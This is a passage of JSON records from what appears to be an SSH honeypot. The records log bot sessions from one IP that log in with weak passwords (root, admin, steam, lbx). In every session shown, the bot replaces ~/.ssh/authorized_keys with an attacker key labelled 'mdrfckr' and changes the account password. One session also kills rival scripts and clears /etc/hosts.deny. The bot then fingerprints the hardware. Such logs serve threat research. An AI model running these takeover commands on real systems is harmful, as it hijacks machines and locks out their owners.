-l"},{"seq":20,"at":"2026-08-27T07:09:42.106428+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:09:42.440556+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:09:42.974414+00:00","kind":"output","latency_ms":null,"data":"top - 07:09:42 up 7 days, 3:59, 0 user, load average: 0.25, 0.24, 0.29\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:09:43.307820+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:09:44.200678+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:09:44.538265+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:09:44.850916+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:09:45.184184+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:09:45.847139+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T07:09:46.180101+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:09:47.203596+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:09:47.537664+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:09:48.979494+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456789root","method":"password","accepted":true,"tier":"other"}]} {"id":"ca13901f-7aba-45b0-aa2b-12b3ad3bcb7e","name":"plush-snowy-lark","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":51136,"username":"lbx","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":351,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:07:42.310502+00:00","ended_at":"2026-08-27T07:07:44.027632+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2171,"events":[{"seq":1,"at":"2026-08-27T07:07:24.706996+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:07:25.057467+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:07:28.893965+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:07:29.336763+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:07:29.688524+00:00","kind":"input","latency_ms":null,"data":"echo -e \"lbx123\\nhgybMeFXPcOb\\nhgybMeFXPcOb\"|passwd|bash"},{"seq":6,"at":"2026-08-27T07:07:30.038482+00:00","kind":"input","latency_ms":null,"data":"echo \"lbx123\\nhgybMeFXPcOb\\nhgybMeFXPcOb\\n\"|passwd"},{"seq":7,"at":"2026-08-27T07:07:30.388445+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:07:31.233654+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:07:31.587255+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:07:32.392745+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:07:32.745258+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:07:33.857246+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:07:34.211968+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:07:34.822926+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:07:35.173256+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:07:35.957754+00:00","kind":"output","latency_ms":null,"data":" 07:07:35 up 7 days, 3:57, 0 user, load average: 0.13, 0.11, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:07:36.309558+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:07:36.571411+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:07:36.924432+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:07:37.557648+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:07:37.908786+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:07:38.440406+00:00","kind":"output","latency_ms":null,"data":"top - 07:07:38 up 7 days, 3:57, 0 user, load average: 0.13, 0.11, 0.1\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:07:38.787797+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:07:39.065413+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:07:39.420095+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:07:39.986245+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:07:40.336554+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:07:40.750629+00:00","kind":"output","latency_ms":null,"data":"lbx"},{"seq":29,"at":"2026-08-27T07:07:41.101269+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:07:41.959829+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:07:42.311211+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:07:43.915943+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"lbx","password":"lbx123","method":"password","accepted":true,"tier":"other"}]} {"id":"24b22214-e858-4730-bbcd-b41e935ab9f5","name":"burly-gleaming-shearwater","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":59844,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":348,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:05:41.758184+00:00","ended_at":"2026-08-27T07:05:43.200621+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2164,"events":[{"seq":1,"at":"2026-08-27T07:05:21.741609+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:05:22.092305+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:05:27.162469+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:05:28.017310+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:05:28.365145+00:00","kind":"input","latency_ms":null,"data":"echo -e \"zxcvbnm\\n9zqzHILat1Jv\\n9zqzHILat1Jv\"|passwd|bash"},{"seq":6,"at":"2026-08-27T07:05:28.712515+00:00","kind":"input","latency_ms":null,"data":"echo \"zxcvbnm\\n9zqzHILat1Jv\\n9zqzHILat1Jv\\n\"|passwd"},{"seq":7,"at":"2026-08-27T07:05:29.060416+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:05:29.879853+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:05:30.227621+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:05:31.362525+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:05:31.712654+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:05:32.683823+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:05:33.033356+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:05:33.677851+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:05:34.030581+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:05:34.858159+00:00","kind":"output","latency_ms":null,"data":" 07:05:34 up 7 days, 3:55, 0 user, load average: 0.2, 0.24, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:05:35.205620+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:05:35.644552+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:05:35.992369+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:05:36.464154+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:05:36.812452+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:05:37.405799+00:00","kind":"output","latency_ms":null,"data":"top - 07:05:37 up 7 days, 3:55, 0 user, load average: 0.2, 0.24, 0.13\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:05:37.753631+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:05:38.242283+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:05:38.589473+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:05:38.927490+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:05:39.286193+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:05:39.794397+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-27T07:05:40.142634+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:05:41.411149+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:05:41.758947+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:05:43.096423+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"zxcvbnm","method":"password","accepted":true,"tier":"other"}]} {"id":"432ebf80-50b7-4ad3-8d3e-d2a0d938c8d6","name":"ashen-lofty-ptarmigan","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":40314,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":334,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:03:36.617750+00:00","ended_at":"2026-08-27T07:03:37.835051+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2205,"events":[{"seq":1,"at":"2026-08-27T07:03:19.140838+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:03:19.470302+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:03:22.296501+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:03:22.875788+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:03:23.209146+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YDqfP8qzYkhm\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T07:03:23.542206+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T07:03:23.875771+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:03:24.402103+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:03:24.735704+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:03:25.575777+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:03:25.911467+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:03:27.038948+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:03:27.386124+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:03:27.697455+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:03:28.034369+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:03:28.575728+00:00","kind":"output","latency_ms":null,"data":" 07:03:28 up 7 days, 3:53, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:03:28.909742+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:03:29.400369+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:03:29.734293+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:03:30.535091+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:03:30.869450+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:03:31.625693+00:00","kind":"output","latency_ms":null,"data":"top - 07:03:31 up 7 days, 3:53, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:03:31.959398+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:03:32.839433+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:03:33.172548+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:03:33.462069+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:03:33.796251+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:03:34.455542+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T07:03:34.787947+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:03:36.285814+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:03:36.618545+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:03:37.739581+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456789.com","method":"password","accepted":true,"tier":"other"}]} {"id":"aaf58b00-0af5-4c4a-8453-752d4e5b8ee0","name":"crisp-gritty-wagtail","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":49024,"username":"steam","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":333,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:01:26.047857+00:00","ended_at":"2026-08-27T07:01:27.467618+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2140,"events":[{"seq":1,"at":"2026-08-27T07:01:07.250954+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:01:07.583543+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:01:11.451304+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:01:11.867039+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:01:12.201169+00:00","kind":"input","latency_ms":null,"data":"echo -e \"maets\\neo9RI1tONTPC\\neo9RI1tONTPC\"|passwd|bash"},{"seq":6,"at":"2026-08-27T07:01:12.533513+00:00","kind":"input","latency_ms":null,"data":"echo \"maets\\neo9RI1tONTPC\\neo9RI1tONTPC\\n\"|passwd"},{"seq":7,"at":"2026-08-27T07:01:12.865481+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:01:13.268930+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:01:13.603846+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:01:14.670315+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:01:15.007746+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:01:16.468713+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:01:16.802070+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:01:17.463871+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:01:17.797228+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:01:18.574656+00:00","kind":"output","latency_ms":null,"data":" 07:01:18 up 7 days, 3:51, 0 user, load average: 0.02, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:01:18.907594+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:01:19.719182+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:01:20.053303+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:01:20.641920+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:01:20.975748+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:01:21.397555+00:00","kind":"output","latency_ms":null,"data":"top - 07:01:21 up 7 days, 3:51, 0 user, load average: 0.02, 0.03, 0.02\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:01:21.732378+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:01:22.140618+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:01:22.474846+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:01:23.195142+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:01:23.526934+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:01:24.074515+00:00","kind":"output","latency_ms":null,"data":"steam"},{"seq":29,"at":"2026-08-27T07:01:24.407737+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:01:25.713964+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:01:26.048367+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:01:27.368681+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"steam","password":"maets","method":"password","accepted":true,"tier":"other"}]} {"id":"98796246-8261-44f3-a812-1a7c50633a0e","name":"crystal-crimson-parakeet","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":57732,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":350,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia 